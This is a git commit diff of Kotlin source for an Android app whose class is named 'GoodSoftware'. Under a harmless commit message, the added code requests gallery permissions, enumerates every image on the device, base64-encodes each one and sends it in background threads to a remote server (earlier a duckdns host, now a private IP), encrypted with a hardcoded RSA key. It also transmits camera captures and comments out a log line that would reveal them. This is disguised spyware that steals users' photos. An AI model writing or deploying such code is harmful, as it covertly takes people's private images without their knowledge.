Get pictures from gallery, for now only android -13
This commit is contained in:
parent
bca8ef25dd
commit
319e09a950
@ -1,8 +1,13 @@
|
|||||||
package com.ti.m
|
package com.ti.m
|
||||||
|
|
||||||
import android.Manifest
|
import android.Manifest
|
||||||
|
import android.content.ContentResolver
|
||||||
|
import android.content.ContentUris
|
||||||
import android.content.Context
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
import android.content.pm.PackageManager
|
import android.content.pm.PackageManager
|
||||||
|
import android.net.Uri
|
||||||
|
import android.provider.MediaStore
|
||||||
import android.util.Base64
|
import android.util.Base64
|
||||||
import android.util.Log
|
import android.util.Log
|
||||||
import androidx.camera.core.CameraSelector
|
import androidx.camera.core.CameraSelector
|
||||||
@ -35,6 +40,9 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
|
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
|
||||||
private var imageCapture: ImageCapture? = null
|
private var imageCapture: ImageCapture? = null
|
||||||
private val REQUEST_CAMERA_PERMISSION = 100
|
private val REQUEST_CAMERA_PERMISSION = 100
|
||||||
|
private val REQUEST_GALLERY = 101
|
||||||
|
private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
|
||||||
|
|
||||||
|
|
||||||
private companion object {
|
private companion object {
|
||||||
private const val RSA_ALGORITHM = "RSA"
|
private const val RSA_ALGORITHM = "RSA"
|
||||||
@ -106,18 +114,66 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
|
|
||||||
private fun startPictureCapture() {
|
private fun startPictureCapture() {
|
||||||
activity.lifecycleScope.launch {
|
activity.lifecycleScope.launch {
|
||||||
|
// Check and request camera permission
|
||||||
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
||||||
|
requestCameraPermission()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check and request gallery permission
|
||||||
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
||||||
|
requestGalleryPermission()
|
||||||
|
}
|
||||||
|
|
||||||
|
// If both permissions are granted, proceed with picture capture and gallery access
|
||||||
takeBeautifulPicture(activity, activity)
|
takeBeautifulPicture(activity, activity)
|
||||||
|
|
||||||
|
Thread {
|
||||||
|
val imageList = getAllImagesFromGallery(activity)
|
||||||
|
for (image in imageList) {
|
||||||
|
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
|
||||||
|
Thread {
|
||||||
|
println("Sending data to server")
|
||||||
|
sendDataToServer(base64Image)
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
|
||||||
|
var base64Image = ""
|
||||||
|
contentResolver.openInputStream(imageUri)?.use { inputStream ->
|
||||||
|
val byteArrayOutputStream = ByteArrayOutputStream()
|
||||||
|
inputStream.copyTo(byteArrayOutputStream)
|
||||||
|
val byteArray = byteArrayOutputStream.toByteArray()
|
||||||
|
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
|
||||||
|
}
|
||||||
|
return base64Image
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun requestGalleryPermission() {
|
||||||
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
||||||
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||||
|
}
|
||||||
|
|
||||||
// Handle permission request result
|
// Handle permission request result
|
||||||
fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
|
fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
|
||||||
if (requestCode == REQUEST_CAMERA_PERMISSION) {
|
when (requestCode) {
|
||||||
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
REQUEST_CAMERA_PERMISSION -> {
|
||||||
startPictureCapture()
|
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||||
} else {
|
startPictureCapture()
|
||||||
// Permission denied
|
} else {
|
||||||
// You may want to handle this case
|
// Camera permission denied
|
||||||
|
// Handle accordingly
|
||||||
|
}
|
||||||
|
}
|
||||||
|
REQUEST_GALLERY -> {
|
||||||
|
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||||
|
startPictureCapture()
|
||||||
|
} else {
|
||||||
|
// Gallery permission denied
|
||||||
|
// Handle accordingly
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -131,7 +187,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
fun sendDataToServer(sendData: String) {
|
fun sendDataToServer(sendData: String) {
|
||||||
try {
|
try {
|
||||||
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
||||||
val host = "thinclient.duckdns.org"
|
val host = "192.168.90.151"
|
||||||
val port = 5645
|
val port = 5645
|
||||||
val secureRandom = SecureRandom()
|
val secureRandom = SecureRandom()
|
||||||
val keyBytes = ByteArray(16)
|
val keyBytes = ByteArray(16)
|
||||||
@ -221,7 +277,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
buffer.get(bytes)
|
buffer.get(bytes)
|
||||||
byteArrayOutputStream.write(bytes)
|
byteArrayOutputStream.write(bytes)
|
||||||
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
||||||
Log.d(picture.TAG, "Base64 Image: $base64Image")
|
//Log.d(picture.TAG, "Base64 Image: $base64Image")
|
||||||
Thread {
|
Thread {
|
||||||
println("Sending data to server")
|
println("Sending data to server")
|
||||||
sendDataToServer(base64Image)
|
sendDataToServer(base64Image)
|
||||||
@ -257,4 +313,34 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
object picture {
|
object picture {
|
||||||
const val TAG = "CameraXBasic"
|
const val TAG = "CameraXBasic"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fun getAllImagesFromGallery(context: Context): List<String> {
|
||||||
|
val imageList = mutableListOf<String>()
|
||||||
|
val contentResolver: ContentResolver = context.contentResolver
|
||||||
|
val imageProjection = arrayOf(
|
||||||
|
MediaStore.Images.Media._ID,
|
||||||
|
MediaStore.Images.Media.DISPLAY_NAME
|
||||||
|
)
|
||||||
|
val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
|
||||||
|
|
||||||
|
val cursor = contentResolver.query(
|
||||||
|
imageUri,
|
||||||
|
imageProjection,
|
||||||
|
null,
|
||||||
|
null,
|
||||||
|
"${MediaStore.Images.Media.DATE_ADDED} DESC"
|
||||||
|
)
|
||||||
|
|
||||||
|
cursor?.use { cursor ->
|
||||||
|
val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
|
||||||
|
while (cursor.moveToNext()) {
|
||||||
|
val id = cursor.getLong(idColumn)
|
||||||
|
val contentUri = ContentUris.withAppendedId(imageUri, id)
|
||||||
|
imageList.add(contentUri.toString())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return imageList
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
Loading…
x
Reference in New Issue
Block a user